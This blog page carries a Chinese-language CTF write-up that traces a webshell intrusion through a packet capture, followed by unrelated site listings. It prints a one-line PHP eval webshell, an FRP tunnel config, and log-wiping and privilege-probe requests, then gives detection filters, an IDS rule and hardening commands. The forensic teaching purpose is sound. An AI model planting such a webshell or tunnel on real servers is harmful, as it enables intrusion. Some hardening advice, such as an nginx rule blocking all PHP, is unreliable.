news 2026/6/1 22:37:38

新手也能看懂的CTF题解:从流量包分析到Webshell追踪(以NSSCTF陇剑杯为例)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手也能看懂的CTF题解:从流量包分析到Webshell追踪(以NSSCTF陇剑杯为例)

从零破解CTF流量分析:Webshell攻击全链路追踪实战

第一次打开Wireshark看到密密麻麻的数据包时,我和所有初学者一样感到头晕目眩。直到在去年的NSSCTF陇剑杯比赛中,那道关于Webshell流量分析的题目让我突然开窍——原来每个数据包都在讲述黑客的攻击故事。本文将用最接地气的方式,带你重现这场"数字侦探游戏"的全过程。

1. 初识战场:流量分析基础准备

在开始解剖攻击流量前,我们需要配置好"数字解剖台"。推荐使用Wireshark 3.6+版本,这个版本对HTTP协议解析做了大量优化。打开题目提供的pcap文件后,先做三个关键设置:

  1. 协议着色规则:在"视图"→"着色规则"中,将TCP错误包设为红色,HTTP GET请求设为浅蓝,POST请求设为深蓝。这能快速定位异常流量。
  2. 首选项优化:在"编辑"→"首选项"→"协议"中找到HTTP,勾选"解压GZIP内容"和"解析HTTP表单数据"。
  3. 过滤表达式:在过滤栏预存几个常用表达式:
    http.request.method == "POST" # 重点监控上传行为 tcp contains "whoami" # 查找权限探测指令 frame contains "eval(" # 捕捉可疑PHP函数

实战技巧:遇到大型流量文件时,先用statistics → Protocol Hierarchy查看协议分布。某次比赛中,我通过发现SSH流量占比异常,仅用10分钟就定位到攻击者的入口点。

2. 攻击者画像:从登录行为开始追踪

黑客的足迹通常从认证环节开始。在本题中,我们需要先找到系统登录凭证:

  1. 在Wireshark搜索栏输入http.request.method == "POST" && http contains "password",立即定位到关键数据包
  2. 右键数据包选择"追踪流"→"HTTP流",可以看到完整的表单提交内容:
    POST /admin/login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin&password=Admin123!@#
  3. 特别注意密码中的特殊符号!@#,这是典型弱密码特征

深度分析:通过http.time > 1筛选响应延迟超过1秒的请求,可以发现黑客尝试了多次暴力破解。统计发现第15次尝试时服务端响应时间突然变长,说明此时触发了安全机制。

3. 蛛丝马迹:日志篡改行为分析

攻击者通常会掩盖行踪。本题中黑客修改了应用日志:

  1. 使用过滤条件frame contains "log" && http,快速定位到日志相关流量
  2. 在数据包详情面板展开"Hypertext Transfer Protocol",发现可疑路径:
    GET /data/Runtime/Logs/Home/21_08_07.log HTTP/1.1
  3. 追踪后续的PUT请求,可见日志内容被清空:
    PUT /data/Runtime/Logs/Home/21_08_07.log HTTP/1.1 Content-Length: 0

取证技巧:实际环境中,黑客可能使用sedtruncate命令清理日志。可以通过搜索这些命令特征来发现更多入侵证据:

tcp contains "truncate" || tcp contains "sed -i"

4. Webshell的诞生:文件上传与权限获取

攻击者获取立足点后,通常会部署Webshell。本题的突破点在于:

4.1 文件上传特征识别

  1. 过滤http.request.method == "POST" && http.content_type contains "multipart",定位文件上传包
  2. 在编号337的数据包中,发现上传的PHP文件:
    <?php @eval($_POST['cmd']); ?>
  3. 右键选择"导出对象"→"HTTP",可以提取出完整的1.php文件

4.2 权限确认过程

黑客通过Webshell执行了权限检查:

whoami # 返回www-data id # 显示属于www-data组

在Wireshark中搜索这些命令响应,可以确认当前权限级别。

防御视角:正常PHP应用不应需要执行系统命令的能力。可以通过以下方式加固:

location ~ \.php$ { deny all; location ~ ^/upload/.*\.php$ { deny all; } }

5. 内网渗透:代理工具分析与追踪

成熟的攻击者会建立持久化通道。本题中出现了FRP代理工具:

5.1 客户端识别

  1. 在Webshell流量中搜索frpc.ini配置文件:
    [common] server_addr = 192.168.239.123 server_port = 7000
  2. 通过tcp.port == 7000过滤可发现控制通道建立过程

5.2 流量特征分析

FRP协议有显著特征:

  • 初始握手包含[FRP]标识
  • 心跳包固定间隔30秒
  • 数据包长度呈现规律性变化

检测方案:企业级IDS可配置以下规则:

alert tcp any any -> any any (msg:"FRP Client Detected"; content:"[FRP]"; depth:5; sid:1000001;)

6. 完整攻击链重建

将各个阶段的关键证据串联起来,我们得到完整攻击时间线:

时间序列攻击阶段关键证据防御建议
T+0暴力破解15次登录尝试账户锁定机制
T+2min日志清理PUT /21_08_07.log日志文件只读权限
T+5minWebshell上传multipart/form-data with 1.php文件上传内容检测
T+7min权限确认whoami命令响应禁用危险PHP函数
T+10min代理建立FRP控制通道建立出站流量白名单

7. 防御者实战指南

基于这次分析,我总结出三条黄金法则:

  1. 日志保护三原则

    • 日志目录不可写
    • 日志文件权限600
    • 实时日志分析告警
  2. Webshell检测四维度

    # 文件特征 find /var/www -name "*.php" -exec grep -l "eval(" {} \; # 行为特征 auditd监控execve系统调用 # 流量特征 NIDS检测异常POST参数 # 时间特征 stat检查最近修改的PHP文件
  3. 网络隔离策略

    # 禁止Web服务器出站连接 iptables -A OUTPUT -p tcp -m owner --uid-owner www-data -j DROP

在最近一次真实应急响应中,正是通过分析异常FRP流量,我们仅用47分钟就定位到了内网横向移动的攻击者。记住,每个数据包都是会说话的证人,关键在于我们是否懂得提问的方式。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/29 9:36:29

[QA】生成测试用例skill

我们知道 AI 的到来&#xff0c;给我们带来了很多的挑战&#xff0c;但也带来了很多便利与机遇。作为测试人员&#xff0c;测试用例的编写很费时间&#xff0c;这个分析和生成的工作可以完全交给 AI。最近我们也从 Prompt 生成用例变更到了用 skill的方式去完成这件事&#xff…

作者头像 李华
网站建设 2026/5/29 9:35:38

告别平台限制:WorkshopDL - 跨平台Steam创意工坊模组下载终极方案

告别平台限制&#xff1a;WorkshopDL - 跨平台Steam创意工坊模组下载终极方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为不同游戏平台的模组兼容问题烦恼吗&#xf…

作者头像 李华
网站建设 2026/5/29 9:34:41

LLM 时代下的轻量级NER 解法

任务定义 金融query 中的实体抽取 ori_querycompaniesinstitutionsindustriesproducts众安在线最近海外营收占比多少众安在线哪些会议纪要提到欧洲央行利率决策欧洲央行越洋钻探最近营收增长多少越洋钻探过去六个月被下调评级的港股地产板块公司研报地产板块中国建筑国际2023…

作者头像 李华
网站建设 2026/5/29 9:32:48

【全面解析】框架总览

Ch01:从 YAML 到 DetectionModel.forward 目标:看完这一章,你能从一份 yolo26.yaml 文件出发,完整追踪到 DetectionModel 的 forward 出口,并明确“哪些东西 YOLOv8/v9/v10/v11/v12/v26 共享,哪些不同”。 1.1 仓库的三层结构 Ultralytics 仓库可以先看成三层:配置层、…

作者头像 李华
网站建设 2026/5/29 9:31:42

Jasminum插件深度解析:Zotero中文文献管理的创新实践

Jasminum插件深度解析&#xff1a;Zotero中文文献管理的创新实践 【免费下载链接】jasminum A Zotero add-on to retrive CNKI meta data. 一个简单的Zotero 插件&#xff0c;用于识别中文元数据 项目地址: https://gitcode.com/gh_mirrors/ja/jasminum 在学术研究领域&…

作者头像 李华